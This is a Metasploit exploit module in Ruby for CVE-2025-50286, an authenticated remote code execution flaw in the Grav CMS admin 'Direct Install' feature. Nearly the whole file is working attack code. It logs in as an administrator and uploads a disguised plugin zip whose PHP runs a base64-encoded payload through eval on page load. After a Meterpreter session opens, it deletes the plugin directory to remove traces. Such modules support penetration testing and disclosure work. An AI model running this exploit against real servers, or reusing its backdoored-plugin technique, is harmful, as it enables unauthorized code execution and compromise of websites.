##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grav CMS Admin Direct Install Authenticated Plugin Upload RCE',
        'Description' => %q{
          Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is
          vulnerable to authenticated remote code execution via the
          "Direct Install" feature in the administrative interface.

          An authenticated administrator can upload a crafted plugin
          archive containing arbitrary PHP code. The uploaded plugin
          is written to disk and executed by the application, allowing
          command execution in the context of the web server user.

          This module authenticates to the admin panel, uploads a
          malicious plugin via /admin/tools/direct-install, and
          triggers execution of the embedded payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'binneko',      # Original PoC / EDB
          'x1o3'          # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-50286'],
          ['EDB', '52402'],
          ['URL', 'https://github.com/getgrav/grav'],
        ],
        'DisclosureDate' => '2025-08-07',
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'PHP Payload',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base Path', '/']),
        OptString.new('USERNAME', [true, 'Admin username']),
        OptString.new('PASSWORD', [true, 'Admin password']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200

    html = res.get_html_document
    return CheckCode::Unknown('Could not parse HTML') unless html

    return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
    return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)

    cms_version, admin_version = get_version_after_login
    return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version
    return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version

    version = Rex::Version.new(cms_version)
    if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0')
      vuln = true
    end

    if admin_version
      plugin_version = Rex::Version.new(admin_version)
      if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln
        return CheckCode::Appears("\n    - Grav CMS #{version} is vulnerable\n    - Admin Plugin v#{plugin_version} is vulnerable")
      end
    end

    return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln

    CheckCode::Safe("Admin Plugin v#{plugin_version} is not vulnerable")
  end

  def exploit
    print_status('Authenticating to Grav admin...')
    login

    plugin_name = (Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(17)).downcase
    @name = plugin_name
    zip_data = build_plugin_zip(plugin_name)

    print_status('Uploading plugin via Direct Install...')
    upload_plugin(zip_data, plugin_name)
  end

  def grav_installation?(html)
    grav_checks = [
      html.at('//*[@data-gpm-grav]'),
      html.at('//*[@data-grav-field]'),
      html.at('//*[@data-grav-disabled]'),
      html.at('//*[@data-grav-default]')
    ]

    grav_checks.count { |elem| !elem.nil? } >= 2
  end

  def login_form_present?(html)
    username_input = html.at('input[@name="data[username]"]')
    password_input = html.at('input[@name="data[password]"]')

    username_input && password_input
  end

  def get_version_after_login
    result = authenticate
    return nil unless result == :success || result == :already_authenticated

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return nil unless res && res.code == 200

    html = res.get_html_document
    return nil unless html

    cms_elem = html.at('span.grav-version')
    cms_version = cms_elem.text.strip
    parent_text = cms_elem.parent.text.gsub(/\s+/, ' ')
    admin_version = parent_text[/Admin v([\d.]+)/, 1]
    return nil unless cms_version

    [cms_version, admin_version]
  end

  def authenticate
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return :connection_failed unless res

    html = res.get_html_document
    return :connection_failed unless html

    nonce = html.at('input[@name="login-nonce"]/@value')
    return :already_authenticated if nonce.nil? && html.at('span.grav-version')
    return :connection_failed unless nonce

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'vars_post' => {
        'data[username]' => datastore['USERNAME'],
        'data[password]' => datastore['PASSWORD'],
        'task' => 'login',
        'login-nonce' => nonce.text
      }
    )

    return :connection_failed unless res

    if [302, 303].include?(res.code)
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'admin'),
        'keep_cookies' => true
      )
      return :connection_failed unless res
    end

    return :login_failed if res.body.include?('name="login-nonce"')

    :success
  end

  def login
    print_status('Authenticating...')
    result = authenticate
    case result
    when :already_authenticated
      print_good('Already authenticated')
    when :success
      print_good('Login successful')
    when :connection_failed
      fail_with(Failure::Unreachable, 'Connection failed')
    when :login_failed
      fail_with(Failure::NoAccess, 'Login failed')
    else
      fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
    end
  end

  def build_plugin_zip(plugin_name)
    php_code = generate_php_plugin(plugin_name)

    zip = Rex::Zip::Archive.new
    zip.add_file("#{plugin_name}plugin/", '')
    zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.php", php_code)
    zip.add_file("#{plugin_name}plugin/blueprints.yaml",
                 "name: #{plugin_name.capitalize}\ntype: plugin\nversion: 1.0.0\ndescription: Cute plugin\nform:\n fields: []")
    zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.yaml",
                 "enabled: true\ntext_var: Text by **#{plugin_name.capitalize} Plugin** plugin")
    zip.pack
  end

  def generate_php_plugin(plugin_name)
    b64_payload = Rex::Text.encode_base64(payload.encoded)
    class_name = "#{plugin_name.capitalize}pluginPlugin"
    Rex::Text.rand_text_alpha(8)

    <<~PHP
      <?php
      namespace Grav\\Plugin;
      use Grav\\Common\\Plugin;

      class #{class_name} extends Plugin
      {
          public static function getSubscribedEvents()
          {
              return [
                  'onPagesInitialized' => ['onPagesInitialized', 0]
              ];
          }

          public function onPagesInitialized()
          {
              @eval(base64_decode('#{b64_payload}'));
          }
      }
    PHP
  end

  def build_multipart_body(nonce, zip_data, plugin_name)
    mime = Rex::MIME::Message.new
    mime.add_part('directInstall', nil, nil, 'form-data; name="task"')
    mime.add_part(nonce, nil, nil, 'form-data; name="admin-nonce"')
    mime.add_part(
      zip_data,
      'application/zip',
      'binary',
      "form-data; name=\"uploaded_file\"; filename=\"#{plugin_name}.zip\""
    )
    mime
  end

  def upload_plugin(zip_data, plugin_name)
    install_uri = normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')

    res = send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
    fail_with(Failure::Unreachable, 'No response fetching install page') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    nonce = res.body.match(/name="admin-nonce"\s+value="([^"]+)"/)&.captures&.first
    fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce

    mime = build_multipart_body(nonce, zip_data, plugin_name)

    res2 = send_request_cgi(
      'method' => 'POST',
      'uri' => install_uri,
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
    fail_with(Failure::Unreachable, 'No response during plugin upload') unless res2

    if [301, 302, 303].include?(res2.code)
      vprint_status("Upload redirected (#{res2.code}), following...")
      send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
    end
  end

  def on_new_session(session)
    return unless session.type == 'meterpreter'

    super
    plugin_dir = "user/plugins/#{@name}plugin"
    print_status("Cleaning up plugin directory: #{plugin_dir}")
    session.sys.process.execute("rm -rf #{plugin_dir}")
    print_good('Plugin directory removed')
  end
end
